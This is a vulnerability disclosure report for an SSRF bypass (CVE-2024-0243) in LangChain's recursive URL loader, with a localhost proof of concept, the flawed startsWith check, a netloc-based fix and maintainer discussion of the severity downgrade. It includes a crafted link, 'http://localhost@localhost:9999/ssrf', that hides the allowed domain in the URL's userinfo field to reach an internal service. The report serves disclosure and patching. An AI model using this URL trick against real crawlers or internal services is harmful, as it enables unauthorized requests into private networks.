

Server-Side Request Forgery (SSRF) in [langchain-ai/langchain](#)

✓ Valid

Reported on Jan 4th 2024

Description

This report outlines a bypass in the fix of [CVE-2023-46229](#), an SSRF is allowed through [libs/community/langchain_community/document_loaders/recursive_url_loader.py](#). The vulnerability exists because crawling can proceed from an external server to an internal server even if `prevent_outside` is set to `True`.

Proof of Concept

Environment setup

- **Prerequisites:** Ensure Python3 is installed on the machine.
- Install pyenv: [installation guide](#).
- Install latest version of **langchain**, along with bs4:

```
pip3 install langchain bs4
```

Exploitation

- Create a python HTTP server to simulate an internal service: <http://localhost:9999/>

```
python3 -m http.server 9999
```

- Create `index.html`:

```
<!DOCTYPE html>
<html lang="en">

<head>
  <title>Document</title>
</head>

<body>
  <a href="http://localhost@localhost:9999/ssrf"></a>
```

```
</body>
```

```
</html>
```

- Serve this file with a python HTTP server at [http://localhost:](http://localhost:80)

```
python3 -m http.server 80
```

- Create our proof of concept script `poc.py`

```
from langchain_community.document_loaders.recursive_url_loader import (
    RecursiveUrlLoader,
)

from bs4 import BeautifulSoup as Soup

loader = RecursiveUrlLoader(
    "http://localhost",
    max_depth=2,
    extractor=lambda x: Soup(x, "html.parser").text,
)
data = loader.load()
```

- Running `poc.py` will reveal the first request on our server <http://localhost/>, and a second request is sent to our internal service <http://localhost:9999/ssrf>, demonstrating the exploitation of our SSRF vulnerability.

```
ssrf > poc.py > ...
1 from langchain_community.document_loaders.recursive_url_loader import (
2     RecursiveUrlLoader,
3 )
4
5 from bs4 import BeautifulSoup as Soup
6
7 loader = RecursiveUrlLoader(
8     "http://localhost",
9     max_depth=2,
10    extractor=lambda x: Soup(x, "html.parser").text,
11 )
12 data = loader.load()
```

TERMINAL

```
(venv) + ssrf python3 poc.py
(venv) + ssrf [ ]

o (venv) + ssrf python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [03/Jan/2024 16:52:50] "GET / HTTP/1.1" 200
[ ]

o (venv) + ssrf python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/)
...
127.0.0.1 - - [03/Jan/2024 16:52:50] code 404, message F
ile not found
127.0.0.1 - - [03/Jan/2024 16:52:50] "GET /ssrf HTTP/1.1
" 404 -
[ ]
```

Vulnerable code

The vulnerability resides in the `extract_sub_links` function in [libs/core/langchain_core/utils/html.py](#) that is called in `load() -> lazy_load() ->`

`_get_child_links_recursive()` -> `extract_sub_links()` in [libs/community/langchain_community/document_loaders/recursive_url_loader.py](#):

```
def extract_sub_links(
    raw_html: str,
    url: str,
    *,
    base_url: Optional[str] = None,
    pattern: Union[str, re.Pattern, None] = None,
    prevent_outside: bool = True,
    exclude_prefixes: Sequence[str] = (),
) -> List[str]:
    ...
    if prevent_outside and not path.startswith(base_url):
        continue
    res.append(path)
    return res
```

The condition `path.startswith(base_url)` is testing if the found url in html starts exactly as the `base_url`, which is not enough and we can bypass it by providing the domain name of the `base_url` in the http authentication field (`http://[base_url_domain]@[internal_service]/` eg: `http://localhost@localhost:9999/` in our poc), and like this, the request will be sent to `http://localhost:9999/` even if it passes the check.

Fix

A potential fix would be to check if the url has the same hostname or domain name with the `base_url` using `urlparse(url).netloc`, The modified code snippet will be as follows:

```
if prevent_outside and ( urlparse(path).netloc != urlparse(base_url).netloc ):
    continue
```

A patch for this fix will be submitted promptly.

Impact

This vulnerability could be exploited by a malicious actor to gain unauthorized access to internal HTTP(s) servers. In a worst-case scenario, such as on an AWS instance, it could be leveraged for remote code execution on the targeted system.

Occurrences

 `html.py` L86

References

⚙️ We are processing your report and will contact the **langchain-ai/langchain** team within 24 hours. 2 years ago



↑ **Mokrane Abdelmalek** submitted a patch 2 years ago



✎ A **langchain-ai/langchain** maintainer modified the Severity from High (8.6) to Low (3.7) 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



✓ A **langchain-ai/langchain** maintainer validated this vulnerability 2 years ago

\$ **m0kr4n3** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



CVE-2024-0243 assigned to this report. 2 years ago



A **langchain-ai/langchain** maintainer commented 2 years ago

Maintainer

Patch has been merged here: <https://github.com/langchain-ai/langchain/pull/15559>. It contains additional unit tests and some modifications of the patch that was sent as the original patch introduced new bugs.



A **langchain-ai/langchain** maintainer has acknowledged this report 2 years ago

✎ The scheduled publication date was automatically extended from 18th Feb 2024 to 25th Feb 2024 due to the maintainers acknowledgement of the report 2 years ago



Mokrane Abdelmalek commented 2 years ago

Researcher

Hello,

Thank you for the review and the fix, I want discuss the modification of the severity level for the vulnerability I reported. Originally, the vulnerability was rated with a CVSS score of 8.6, which I believe accurately reflects the potential impact and risk associated with the issue. Given that this vulnerability is a bypass of [CVE-2023-46229](#), which was rated 8.8/10, I expected the severity level to be exactly the same.

I would appreciate it if you could provide some insight into the rationale behind the modification of the severity from High (8.6) to Low (3.7).

Thank you for your time and attention to this matter. I look forward to your response.



A **langchain-ai/langchain** maintainer commented 2 years ago

Maintainer

Hello! The severity of the referenced CVE is significantly overstated. We're a small team so while we try to patch all CVEs, we don't often contest them as that takes time we don't have :)

The issue with the original scoring:

- The crawler is not controlled by the attacker. So the attacker would need some mechanism to direct the crawler to a website controlled by the attacker to deliver a malicious payload.
- A malicious payload can force the crawler to make GET requests on behalf of the server, but the response from the requests isn't available to the attacker.

When the original CVE was filed, there was no way to restrict the crawler from crawling to external links, which theoretically meant that it's easier for the crawler to reach a malicious website by chance.

Currently, there is a mechanism in place to restrict it from crawling external link (even though it's imperfect and one could escape from it). With this vulnerability alone, an attack on a user will be exceedingly difficult to carry out while having minimal to no consequences for users.

⚠ We have sent a warning to the **langchain-ai/langchain** team to inform them that this report will be published in 48 hours 2 years ago

✓ Eugene Yurtsev marked this as fixed in **0.1.0** with commit **bf0b3c** 2 years ago

\$ Mokrane Abdelmalek has been awarded the fix bounty ✓

\$ **html.py#L86** has been validated ✓

📢 This vulnerability has now been published 2 years ago

🔍 **CVE-2024-0243** has now been published 2 years ago

[Sign in](#) to join this conversation

CVE

CVE-2024-0243

Published

Vulnerability Type

CWE-918: Server-Side Request Forgery (SSRF)

Severity

Low (3.7)

Attack vector	Local
Attack complexity	High
Privileges required	High
User interaction	Required
Scope	Changed
Confidentiality	Low
Integrity	Low
Availability	None

[Open in visual CVSS calculator](#) 

Registry
Pypi

Affected Version
0.0.353

Visibility
Public

Status
Fixed

Disclosure Bounty
\$20

Fix Bounty
\$5

Found by



Mokrane Abdelmalek
@m0kr4n3
MIDDLEWEIGHT
   

Fixed by



Mokrane Abdelmalek
@m0kr4n3
MIDDLEWEIGHT
   

Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

